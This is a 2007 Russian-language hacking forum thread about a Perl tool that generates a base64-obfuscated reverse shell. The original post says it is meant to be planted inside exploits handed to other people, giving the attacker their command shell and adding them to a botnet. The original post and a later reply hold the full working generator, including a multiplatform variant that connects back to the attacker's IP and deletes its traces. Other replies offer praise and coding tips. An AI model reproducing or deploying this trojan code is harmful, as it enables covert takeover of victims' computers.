Заценяем релизик...

Discussion in 'PHP' started by slider, 6 Mar 2007.

  1. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Недавно начал учить перл я, в конечном итоге написал такой релизик...

    Сообственно в основе лежит простейший back-connect shell...

    Используя NetCat открываем у себя порт например 9999
    nc.exe -lvvp 9999

    Запускаем скрипт.. и следуем USAGE:

    [Parameters] : X:\name.pl IP PORT file
    [Example] : X:\name.pl 127.0.0.1 9999 exploit.pl


    Передаём все параметры через коммандую строку нашему файлу...

    Указываем свой IP адресс и порт.. далее файл в котором сохранится наш скрипт..
    а сохраниться он в base64 ... (менее заметно.. и компактней)

    Далее втыкаем этот скриптик в любой exploit.. и разумеется даём.. скрипт киддису который упорно просит вас похекать какойнить форум... etc

    И.... о .. чудо... вы получили доступ к его cmd, а от cmd и до ftp недолеко...
    а там и пополнить ботнет недолго =)...

    P.S
    Как я и говорил... это не супер релиз а релизик...
    и что скрипт работает "без палева" тож трудно сказать...
    вообщем юзаем отписываемся...



    PHP:
    #!/usr/bin/perl 

    ## C0d3d by slider 
    ## Backdoor Reverse-Shell v1.3
    ## http://antichat.ru
      
    if (@ARGV!=3

    print 
    "\n" '~' x 56 "\n";
    print 
    "Backdoor Reverse-Shell \n\n"
    print 
    "\n" '~' x 56 "\n";
    print 
    "---USAGE:" .'-' x 47 ."\n\n";  
    print 
    "[Parameters] : $0 IP PORT file  \n";  
    print 
    "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
    print 
    '-' x 56 "\n";
    die(
    "\n"); 


    print 
    "---USAGE:" .'-' x 47 ."\n\n";  
    print 
    "[Parameters] : $0 IP PORT file  \n";  
    print 
    "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
    print 
    '~' x 56 "\n";

    $IP=@ARGV[0]; 
    $PORT=@ARGV[1]; 
    $NAME=@ARGV[2]; 
    $TEXT

    "open logg,\">expl~1.tmp\";"
    "print logg \"use IO::Socket;\";"
    "print logg \"use Socket; use FileHandle;\";"
    "print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";"
    "print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";"
    "print logg \"SOCKET->autoflush();\";"
    "print logg \"open(STDIN,'>&SOCKET');\";"
    "print logg \"open(STDOUT,'>&SOCKET');\";"
    "print logg \"open(STDERR,'>&SOCKET');\";"
    "print logg \"exec('cmd.exe');\";"
    "close logg;"

    use 
    MIME::Base64

    $encoded encode_base64($TEXT); 
    print 
    "[*] Injecting...\n"

    open base64,">$NAME"
    print 
    base64 "\$payload='$encoded';"
    print 
    base64 "use MIME::Base64;"
    print 
    base64 "\$decoded = decode_base64(\$payload);"
    print 
    base64 "eval(\$decoded);"
    print 
    base64 "system(\'start perl expl~1.tmp\');"
    print 
    base64 "system(\'del expl~1.tmp\');"
    close base64
    print 
    "[*] OK...\n\n"

    print 
    "$encoded";  
    ОБНОВЛЕНО ДО v1.3
     
    #1 slider, 6 Mar 2007
    Last edited: 11 Apr 2007
    20 people like this.
  2. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Ты одного не учел: а вдруг он из линуха сплойтенг запускать будет?
     
    2 people like this.
  3. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Подстраивал под винду... и на ней же тестил...
    т.к небыло возможности работать в никсах... можно конешн
    изменить cmd.exe на /bin/sh
    + кой какие мелочи..
    но нормально протестить я б несмог усё равно...
     
    2 people like this.
  4. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    перл-коденг на троечку.. замечания:
    1) зачем стока ненужных принтов??
    2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
    3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
    4) юзайте -w
    5) my - тоже полезная штука...

    за идею - плюсег )..
     
    #4 Digimortal, 6 Mar 2007
    Last edited: 6 Mar 2007
    1 person likes this.
  5. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    оппа... спасиб... незнал... учту.. исправлюсь...
     
    2 people like this.
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Столько принтов конечно не нужно. толку от них?
    Идея не нова, т к такие скрипты уже есть. Но за то что начал учить Перл и сделал что то работующее =))) тебе +
     
  7. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Главное начало положено, дальше главное не отступать =)
    Удачи.
     
  8. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Спасибо за поддержку =)
     
    2 people like this.
  9. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    perl умирает. учи python!
     
  10. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    отвечу цитатой одного чела которого вы узнаете "а вы все наркоманы"

    пока его кто-то учит он жив
     
    1 person likes this.
  11. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Странно, чего ж догда ActiveState Perl под винду продвигает?
    Почему CPAN постоянно пополняется?
    Почему знание администратором UNIX перла считается хорошим тоном?
    Почему 80% всех сплойтенгов на милворме на перле?
     
    #11 Helios, 6 Mar 2007
    Last edited: 6 Mar 2007
  12. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Ты на пути истинном ;)
    Сорец к счастью я до конца читать не стал, после того как увидел нечто вроде
    Code:
    ~~~~~~~~~~~~~
     
  13. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o
     
  14. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    print "\n" . '~' x 56 . "\n";
     
    1 person likes this.
  15. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    упс.... :'(
     
    1 person likes this.
  16. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    ОК .. немного обновил...
    теперь не будут лезть "левые окна" и вызывать подозрения..
    и убрал задержку....
     
    1 person likes this.
  17. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Немного подпатчил, теперь ммультиплатформенно)

    Greetz: _slider_

    PHP:
    #!/usr/bin/perl  

    ## C0d3d by slider  
    ## Multiplatform path by helios
    ## Backdoor Reverse-Shell v1.3.multiplatform 
    ## http://antichat.ru 
       
    if (@ARGV!=3)  
    {  
    print 
    "\n" '~' x 56 "\n"
    print 
    "Backdoor Reverse-Shell \n\n";  
    print 
    "\n" '~' x 56 "\n"
    print 
    "---USAGE:" .'-' x 47 ."\n\n";  
    print 
    "[Parameters] : $0 IP PORT file  \n";  
    print 
    "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
    print 
    '~' x 56 "\n"
    die(
    "\n");  
    }  

    $IP=$ARGV[0];  
    $PORT=$ARGV[1];  
    $NAME=$ARGV[2];  
    $TEXT=  

    "open logg,\">expl~1.tmp\";".  
    "print logg \"use IO::Socket;\";".  
    "print logg \"use Socket; use FileHandle;\";".  
    "print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";".  
    "print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";".  
    "print logg \"SOCKET->autoflush();\";".  
    "print logg \"open(STDIN,'>&SOCKET');\";".  
    "print logg \"open(STDOUT,'>&SOCKET');\";".  
    "print logg \"open(STDERR,'>&SOCKET');\";".  
    "if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";}".
    "else{print logg \"exec('cmd.exe');\";}".
    "close logg;";  

    use 
    MIME::Base64;  

    $encoded encode_base64($TEXT);  
    print 
    "[*] Injecting...\n";  

    open base64,">$NAME";  
    print 
    base64 "\$payload='$encoded';";  
    print 
    base64 "use MIME::Base64;";  
    print 
    base64 "\$decoded = decode_base64(\$payload);";  
    print 
    base64 "eval(\$decoded);";
    print 
    base64 "if (-f '/bin/sh' && -x '/bin/sh') {";
    print 
    base64 "system(\'perl expl~1.tmp &\');";  
    print 
    base64 "system(\'rm -rf expl~1.tmp\');}";
    print 
    base64 "else {";
    print 
    base64 "system(\'call perl expl~1.tmp\');";  
    print 
    base64 "system(\'del expl~1.tmp\');}";
    close base64;  
    print 
    "[*] OK...\n\n";  

    print 
    "$encoded";
     
    1 person likes this.
  18. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    ЗЫ:

    Проверял в винде и во Frenzy

    В никсах не забыть поменять конец строки на Unix-Like \n
     
  19. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    респект Helios!
     
    1 person likes this.
  20. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    if(-f '/bin/sh' && -x '/bin/sh') хотел трохан покритиковать вообщем под моей виндой почемуто флаги -f -x непашут незнаю почему -- модет винда такая хз --- вообщем лучше вбить проверку через readdir будет надежнее